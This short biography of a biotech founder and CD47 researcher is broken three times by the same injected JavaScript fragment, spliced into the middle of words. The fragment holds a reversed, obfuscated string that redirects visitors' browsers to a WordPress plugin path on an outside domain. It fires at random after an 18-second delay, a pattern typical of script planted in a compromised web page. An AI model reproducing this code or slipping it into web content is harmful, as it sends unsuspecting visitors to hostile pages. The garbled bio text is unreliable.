Dr. Schwartz has over 15 years of experience in the biotechnology industry founding over 10 startups and serving in executive positions of Athencion Biotech, Interthyr Corp, XTELL Corp and BioVisors Consulting. He has raised millions in non-diluted funding, supported the development of an FDA approved diagnostic and a moved pipeline of oncology and autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toimmune therapeutics through IND. He worked with the National Institutes of Health/National Cancer Institute toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to advance Morphiex’s lead CD47 asset, MBT-001, intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the clinic and is considered a Key Opinion Leader in the CD47 space. He is also a Professor at The Johns Hopkins University, published multiple publications in prestigious journals and holds patents on a class of drugs attenuating the immune system for the treatment of cancer and diabetes. Anthony received his Ph.D. from Colorado State University in Biomedical Engineering with research focused on the immune system’s role in cancer, novel radiation therapies and stem cells.